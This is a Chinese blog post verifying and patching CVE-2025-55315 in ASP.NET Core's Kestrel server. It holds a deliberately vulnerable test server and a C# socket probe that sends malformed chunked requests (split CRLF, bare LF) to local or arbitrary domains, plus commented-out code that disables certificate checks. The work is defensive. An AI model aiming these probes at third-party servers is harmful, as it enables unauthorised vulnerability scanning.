asp.net core CVE-2025-55315漏洞验证修复
asp.net coreCVE-2025-55315漏洞验证
复现代码库,但是我本地跑起来一直卡着
https://github.com/sirredbeard/CVE-2025-55315-repro/tree/main
复现过程
后面自己实现了复现过程
创建web项目
创建.net8.0
并且指定sdk版本
dotnet new globaljson --sdk-version 8.0.414
{"sdk": {"version": "8.0.414"}
}
代码如下
using Microsoft.AspNetCore.Server.Kestrel.Core;namespace WebApplication
{public class Program{public static void Main(string[] args){var builder = WebApplication.CreateBuilder(args);// 配置 Kestrel 服务器builder.WebHost.ConfigureKestrel(options =>{// 设置最小请求体数据速率:1 字节/秒,宽限期 10 秒options.Limits.MinRequestBodyDataRate = new MinDataRate(bytesPerSecond: 1,gracePeriod: TimeSpan.FromSeconds(10));});var app = builder.Build();app.Map("/", async context =>{// Begin an asynchronous read from the request BodyReader to initiate body processingvar reader = context.Request.BodyReader;// Start a read without advancing the reader; TCP fragments are coordinated by the test codevar readTask = reader.ReadAsync();var result = await readTask;// Advance the reader to mark the buffer as consumedreader.AdvanceTo(result.Buffer.End);// Send a 200 OK responsecontext.Response.StatusCode = 200;var processName = System.Diagnostics.Process.GetCurrentProcess().ProcessName;await context.Response.WriteAsync("OK:" + processName);});app.Run();}}
}
模拟攻击
新建控制台项目验证漏洞
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Text;namespace ConsoleApp
{internal class Program{static async Task Main(string[] args){await Test01("127.0.0.1", 5000);//await Test01("10.10.90.139", 8887);//await Test02("127.0.0.1", 5000);//await Test02("10.10.90.139", 8887);//await TestInvalidNewlineVulnerabilityHttps("域名",443,true);//await TestInvalidNewlineVulnerabilityHttp("域名", 80);Console.ReadKey();}/// <summary>/// 拆分 CRLF 到两个 TCP 包(MultiReadWithInvalidNewlineAcrossReads)/// </summary>/// <returns></returns>static async Task Test01(string ipAddress, int port){// 1. 连接Kestrel服务器(localhost:5000)using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);await socket.ConnectAsync(ipAddress, port);Console.WriteLine("已连接到服务器,开始发送畸形请求(拆分CRLF)...");// 2. 构造请求:分两次发送,第一次含"\r",第二次含"\n"var encoding = Encoding.ASCII;// 第一次发送:分块头(1;\r)+ 部分请求体string part1 = "POST / HTTP/1.1\r\n" +"Host: localhost:5000\r\n" +"Transfer-Encoding: chunked\r\n" + // 启用分块传输"\r\n" +"1;\r"; // 关键:分块大小后只发"\r",不发"\n"byte[] part1Bytes = encoding.GetBytes(part1);await socket.SendAsync(part1Bytes, SocketFlags.None);// 模拟网络延迟(确保两次发送分属不同TCP包)await Task.Delay(10);// 第二次发送:补全"\n" + 分块内容 + 结束标记(0\r\n\r\n)//string part2 = "\n" + // 补全换行符"\n"// "A" + // 分块内容(大小为1,对应前面的"1;")// "0\r\n\r\n"; // 分块结束标记string part2 = "\r\n";byte[] part2Bytes = encoding.GetBytes(part2);await socket.SendAsync(part2Bytes, SocketFlags.None);Console.WriteLine("畸形请求发送完成,等待响应...");// 3. 接收服务器响应,判断是否存在漏洞byte[] responseBuffer = new byte[1024];int responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);string response = encoding.GetString(responseBuffer, 0, responseLength);Console.WriteLine("\n服务器响应:\n" + response);// 漏洞判断:返回"HTTP/1.1 200 OK"即存在漏洞;400 Bad Request为修复版本if (response.Contains("HTTP/1.1 400 Bad Request")){Console.WriteLine("=== 漏洞已修复/版本不受影响,服务器拒绝畸形请求 ===");}else{Console.WriteLine("=== 漏洞存在!服务器接受了拆分CRLF的畸形请求 ===");}}/// <summary>/// 用单独 LF 代替 CRLF(InvalidNewlineInFirstReadWithPartialChunkExtension)/// </summary>/// <returns></returns>static async Task Test02(string ipAddress, int port){// 1. 连接服务器using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);await socket.ConnectAsync(ipAddress, port);Console.WriteLine("已连接到服务器,开始发送畸形请求(单独LF)...");// 2. 构造请求:分块头用"\n"代替"\r\n"(违反HTTP规范)var encoding = Encoding.ASCII;string malformedRequest = "GET / HTTP/1.1\r\n" +"Host: localhost:5000\r\n" +"Transfer-Encoding: chunked\r\n" + // 启用分块传输"\r\n" +"1;\n" + // 关键:用"\n"代替标准"\r\n""B" + // 分块内容(大小为1)"0\r\n\r\n"; // 分块结束标记byte[] requestBytes = encoding.GetBytes(malformedRequest);await socket.SendAsync(requestBytes, SocketFlags.None);Console.WriteLine("畸形请求发送完成,等待响应...");// 3. 接收并解析响应byte[] responseBuffer = new byte[1024];int responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);string response = encoding.GetString(responseBuffer, 0, responseLength);Console.WriteLine("\n服务器响应:\n" + response);// 漏洞判断逻辑同上if (response.Contains("HTTP/1.1 200 OK"))Console.WriteLine("=== 漏洞存在!服务器接受了单独LF的畸形请求 ===");else if (response.Contains("HTTP/1.1 400 Bad Request"))Console.WriteLine("=== 漏洞已修复/版本不受影响,服务器拒绝畸形请求 ===");}/// <summary>/// 用单独 LF 代替 CRLF/// </summary>/// <param name="targetDomain">要访问的域名</param>/// <param name="targetPort">默认端口</param>/// <param name="useHttps">启用HTTPS</param>/// <param name="readTimeoutMs">读取超时,默认5000毫秒就是5秒</param>/// <returns></returns>static async Task TestInvalidNewlineVulnerabilityHttps(string targetDomain, int targetPort = 80, bool useHttps = false, int readTimeoutMs = 5000){Console.WriteLine($"开始测试 HTTPS://{targetDomain}:{targetPort}...");try{// 1. 建立TCP连接using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);socket.ReceiveTimeout = readTimeoutMs; // 设置底层Socket超时await socket.ConnectAsync(targetDomain, targetPort);Console.WriteLine("TCP连接已建立,开始SSL握手...");// 2. 包装SSL流using var networkStream = new NetworkStream(socket, ownsSocket: true);using var sslStream = new SslStream(networkStream, leaveInnerStreamOpen: false);// 3. SSL握手(处理证书验证)await sslStream.AuthenticateAsClientAsync(targetHost: targetDomain,clientCertificates: null,enabledSslProtocols: System.Security.Authentication.SslProtocols.Tls12 | System.Security.Authentication.SslProtocols.Tls13,checkCertificateRevocation: false);if (!sslStream.IsAuthenticated){Console.WriteLine("SSL握手失败");return;}Console.WriteLine("SSL握手成功,发送畸形请求...");// 4. 构造并发送畸形请求var encoding = Encoding.ASCII;string malformedRequest = "GET / HTTP/1.1\r\n" +$"Host: {targetDomain}\r\n" +"Transfer-Encoding: chunked\r\n" +"\r\n" +"1;\n" + // LF代替CRLF"A" +"0\r\n\r\n";byte[] requestBytes = encoding.GetBytes(malformedRequest);await sslStream.WriteAsync(requestBytes, 0, requestBytes.Length);await sslStream.FlushAsync();// 5. 读取响应(核心:循环读取+超时判断,替代DataAvailable)byte[] buffer = new byte[4096];StringBuilder responseBuilder = new StringBuilder();DateTime lastDataTime = DateTime.Now; // 记录最后一次收到数据的时间while (true){// 检查是否超时(超过ReadTimeoutMs未收到新数据)if (DateTime.Now - lastDataTime > TimeSpan.FromMilliseconds(readTimeoutMs)){Console.WriteLine("响应读取超时,停止接收");break;}// 尝试读取数据(非阻塞,通过超时控制)int bytesRead;try{// 用ReadAsync的超时机制(需配合CancellationToken)using var cts = new System.Threading.CancellationTokenSource(readTimeoutMs);bytesRead = await sslStream.ReadAsync(buffer, 0, buffer.Length, cts.Token);}catch (OperationCanceledException){// 读取超时,退出循环bytesRead = 0;}if (bytesRead == 0){// 没有新数据,且已超时,退出break;}// 累加数据并更新最后接收时间responseBuilder.Append(encoding.GetString(buffer, 0, bytesRead));lastDataTime = DateTime.Now;// 额外判断:若已读取到HTTP响应结束标记(可选,增强可靠性)if (responseBuilder.ToString().Contains("\r\n0\r\n\r\n") // 分块传输结束标记|| responseBuilder.ToString().Contains("\r\n\r\n")) // 普通响应头部结束{Console.WriteLine("已读取到响应结束标记,停止接收");break;}}string fullResponse = responseBuilder.ToString();Console.WriteLine($"\n服务器响应(前500字符):\n{fullResponse.Substring(0, Math.Min(500, fullResponse.Length))}");// 6. 判断漏洞状态if (fullResponse.Contains("200 OK")){Console.WriteLine("=== 漏洞可能存在!服务器接受了畸形请求 ===");}else if (fullResponse.Contains("400 Bad Request")){Console.WriteLine("=== 漏洞不存在!服务器拒绝了畸形请求 ===");}else{Console.WriteLine("=== 无法判断,请查看完整响应分析 ===");}}catch (SocketException ex){Console.WriteLine($"连接错误:{ex.Message}");}catch (AuthenticationException ex){Console.WriteLine($"证书验证失败:{ex.Message}(若为自签名证书,需添加自定义验证)");}catch (Exception ex){Console.WriteLine($"测试失败:{ex.Message}");}}// (可选)自定义证书验证逻辑(仅测试环境使用)// 若服务器使用自签名证书,可取消注释并在AuthenticateAsClient时传入此回调/*private static bool ValidateServerCertificate(object sender,X509Certificate certificate,X509Chain chain,SslPolicyErrors sslPolicyErrors){// 测试环境临时允许所有证书(生产环境绝对禁止!)if (sslPolicyErrors != SslPolicyErrors.None){Console.WriteLine($"证书验证警告:{sslPolicyErrors}(测试环境已忽略)");}return true;}*//// <summary>/// 用单独 LF 代替 CRLF,http请求测试/// </summary>/// <param name="TargetDomain"></param>/// <param name="TargetPort"></param>/// <param name="UseHttps"></param>/// <returns></returns>/// <exception cref="NotImplementedException"></exception>static async Task TestInvalidNewlineVulnerabilityHttp(string TargetDomain, int TargetPort, bool UseHttps = false){Console.WriteLine($"开始测试 {TargetDomain}:{TargetPort} 是否存在LF代替CRLF漏洞...");try{// 1. 创建TCP连接using var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);await socket.ConnectAsync(TargetDomain, TargetPort);Console.WriteLine("已成功连接到服务器");// 若使用HTTPS,需建立SSL/TLS会话(关键!否则请求会被加密导致服务器无法解析)if (UseHttps){throw new NotImplementedException("HTTPS需额外通过SslStream包装Socket,见下方说明");// 参考代码框架:// using var sslStream = new SslStream(new NetworkStream(socket), false);// await sslStream.AuthenticateAsClientAsync(TargetDomain);// 后续发送/接收需通过sslStream而非直接用socket}// 2. 构造畸形请求(分块头用LF代替CRLF)var encoding = Encoding.ASCII;string malformedRequest = "GET / HTTP/1.1\r\n" +$"Host: {TargetDomain}\r\n" +"Transfer-Encoding: chunked\r\n" + // 启用分块传输"\r\n" +"1;\n" + // 关键:分块头用LF(\n)代替标准CRLF(\r\n)"A" + // 分块内容(大小为1字节)"0\r\n\r\n"; // 分块结束标记byte[] requestBytes = encoding.GetBytes(malformedRequest);// 3. 发送畸形请求if (UseHttps){// 若用HTTPS,需通过sslStream发送:// await sslStream.WriteAsync(requestBytes, 0, requestBytes.Length);}else{await socket.SendAsync(requestBytes, SocketFlags.None);}Console.WriteLine("畸形请求已发送,等待响应...");// 4. 接收服务器响应(注意:可能需要循环接收完整响应)byte[] responseBuffer = new byte[4096];int responseLength;if (UseHttps){// 若用HTTPS,需通过sslStream接收:// responseLength = await sslStream.ReadAsync(responseBuffer, 0, responseBuffer.Length);}else{//responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);}responseLength = await socket.ReceiveAsync(responseBuffer, SocketFlags.None);string response = encoding.GetString(responseBuffer, 0, responseLength);Console.WriteLine($"\n服务器响应(部分):\n{response}");// 5. 判断漏洞是否存在if (response.Contains("HTTP/1.1 200 OK") || response.Contains("HTTP/1.0 200")){Console.WriteLine("=== 漏洞可能存在!服务器接受了畸形换行符 ===");}else if (response.Contains("400 Bad Request") || response.Contains("400")){Console.WriteLine("=== 漏洞不存在!服务器正确拒绝了畸形请求 ===");}else{Console.WriteLine("=== 无法判断!响应不明确,请检查请求格式或手动分析响应 ===");}}catch (SocketException ex){Console.WriteLine($"连接错误:{ex.Message}(可能是端口错误或服务器不可达)");}catch (Exception ex){Console.WriteLine($"测试失败:{ex.Message}");}}}
}
按照帖子的说法使用iis可以规避该漏洞,不过不是绝对安全,建议还是升级
翻译过来:我的理解是否正确:在 IIS 本身不存在漏洞的前提下,运行在 IIS 中的(self-contained)ASP.NET Core 应用程序就不会存在该漏洞?或者换个说法:这个漏洞是否严格局限于 Kestrel Web 服务器,而非ASP.NET Core 框架普遍存在的漏洞?
是的,我认为这么理解是合理的。
测试在iis或者iisexpress中,无论进程内还是进程外测试都阻止了该漏洞
.NET Core 3.X+默认为InProcess
.NET Core 2.X及更早版本默认为OutOfProcess
<PropertyGroup><TargetFramework>net8.0</TargetFramework><Nullable>enable</Nullable><ImplicitUsings>enable</ImplicitUsings><!--InProcess是进程内使用iis或者iisexpress,OutOfProcess是进程外,内部使用Kestrel--><!--<AspNetCoreHostingModel>OutOfProcess</AspNetCoreHostingModel>-->
</PropertyGroup>
修复漏洞
安装对应的包即可
https://github.com/dotnet/aspnetcore/issues/64033
https://dotnet.microsoft.com/zh-cn/download/dotnet/8.0
修改global.json
改为8.0.121版本可以验证漏洞已经修复
参考
https://www.cnblogs.com/netry/p/19147223/CVE-2025-55315
https://github.com/dotnet/aspnetcore/issues/64033
https://github.com/advisories/GHSA-5rrx-jjjq-q2r5